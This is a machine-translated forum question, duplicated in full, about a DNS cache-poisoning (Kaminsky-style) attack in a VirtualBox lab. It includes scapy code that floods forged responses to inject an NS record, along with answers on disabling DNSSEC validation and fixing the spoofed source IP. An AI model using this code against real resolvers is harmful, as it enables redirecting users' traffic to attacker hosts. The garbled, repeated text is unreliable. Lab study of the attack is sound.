python 中的 DNS 缓存中毒
DNS Cache poisoning in python
我正在尝试在 virtual box 中的易受攻击机器上执行描述为 Dan 的恶作剧 In this tutorial 的攻击,但缓存未被覆盖。
- 递归服务器地址为 192.168.56.20
- 攻击者的机器在192.168.56.1
- 攻击者的机器对域也是权威的badguy.ru
- 递归服务器使用固定端口发出请求。
当我执行域请求时查看 wireshark badguy.ru 我在攻击者的机器上收到这些数据包:
详情如下:
第一个
第二个
所以在这种情况下,我保存在变量中
- sniffed_ip = 10.10.0.1
- sniffed_port=56488(截图中看不到)
- query_id=0xe16c
我用 scapy 构建数据包,并在 1000 个数据包的范围内使用相邻的后续 query/transaction id,我发出了一个虚假请求,最后我发送了数据包
packet_list = []
for i in range(args.range):
pkt = (IP(src=sniffed_ip, dst='192.168.56.20')
/ UDP(sport=53, dport=sniffed_port)
/ DNS(id=query_id,
an=None,
qr=1,
qd=DNSQR(qname='www123.bankofsteve.com', qtype="A"),
ns=(DNSRR(rrname='bankofsteve.com', type='NS', ttl=60000, rdata='ns.bankofsteve.com')),
ar=(DNSRR(rrname='ns.bankofsteve.com', type="A", ttl=60000, rdata='192.168.56.1'))))
query_id=(query_id+1)%65536
pkt.getlayer('DNS').id = query_id
packet_list.append(pkt)
send(IP(dst='192.168.56.20') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='www123.bankofsteve.com')), verbose=0)
send(packet_list)
数据包正确到达递归服务器但缓存没有中毒,我不明白错误在哪里,我认为它可能不是一个有效的响应数据包。提前致谢
如果有 DNSSEC,则必须验证用于签署 RRSEC 的 public 密钥。
如果您尝试破解自己的 DNS(由您配置,例如在 linux 上),您可以在 /etc/bind/named.conf.options.
中关闭 dnssec-validation
您错过了攻击的核心:您需要冒充可信的东西(从服务器的角度来看),而不仅仅是捕获查询 ID 和源端口。换句话说,您在欺骗数据包中使用的 IP 是错误的。
此外,有两种方法可以执行此攻击:通过注入单个 "faked" A 记录来毒化缓存,或注入新的 NS 记录。别惹这两个。
我正在尝试在 virtual box 中的易受攻击机器上执行描述为 Dan 的恶作剧 In this tutorial 的攻击,但缓存未被覆盖。
- 递归服务器地址为 192.168.56.20
- 攻击者的机器在192.168.56.1
- 攻击者的机器对域也是权威的badguy.ru
- 递归服务器使用固定端口发出请求。
当我执行域请求时查看 wireshark badguy.ru 我在攻击者的机器上收到这些数据包:
第一个
第二个
所以在这种情况下,我保存在变量中
- sniffed_ip = 10.10.0.1
- sniffed_port=56488(截图中看不到)
- query_id=0xe16c
我用 scapy 构建数据包,并在 1000 个数据包的范围内使用相邻的后续 query/transaction id,我发出了一个虚假请求,最后我发送了数据包
packet_list = []
for i in range(args.range):
pkt = (IP(src=sniffed_ip, dst='192.168.56.20')
/ UDP(sport=53, dport=sniffed_port)
/ DNS(id=query_id,
an=None,
qr=1,
qd=DNSQR(qname='www123.bankofsteve.com', qtype="A"),
ns=(DNSRR(rrname='bankofsteve.com', type='NS', ttl=60000, rdata='ns.bankofsteve.com')),
ar=(DNSRR(rrname='ns.bankofsteve.com', type="A", ttl=60000, rdata='192.168.56.1'))))
query_id=(query_id+1)%65536
pkt.getlayer('DNS').id = query_id
packet_list.append(pkt)
send(IP(dst='192.168.56.20') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='www123.bankofsteve.com')), verbose=0)
send(packet_list)
数据包正确到达递归服务器但缓存没有中毒,我不明白错误在哪里,我认为它可能不是一个有效的响应数据包。提前致谢
如果有 DNSSEC,则必须验证用于签署 RRSEC 的 public 密钥。 如果您尝试破解自己的 DNS(由您配置,例如在 linux 上),您可以在 /etc/bind/named.conf.options.
中关闭 dnssec-validation您错过了攻击的核心:您需要冒充可信的东西(从服务器的角度来看),而不仅仅是捕获查询 ID 和源端口。换句话说,您在欺骗数据包中使用的 IP 是错误的。
此外,有两种方法可以执行此攻击:通过注入单个 "faked" A 记录来毒化缓存,或注入新的 NS 记录。别惹这两个。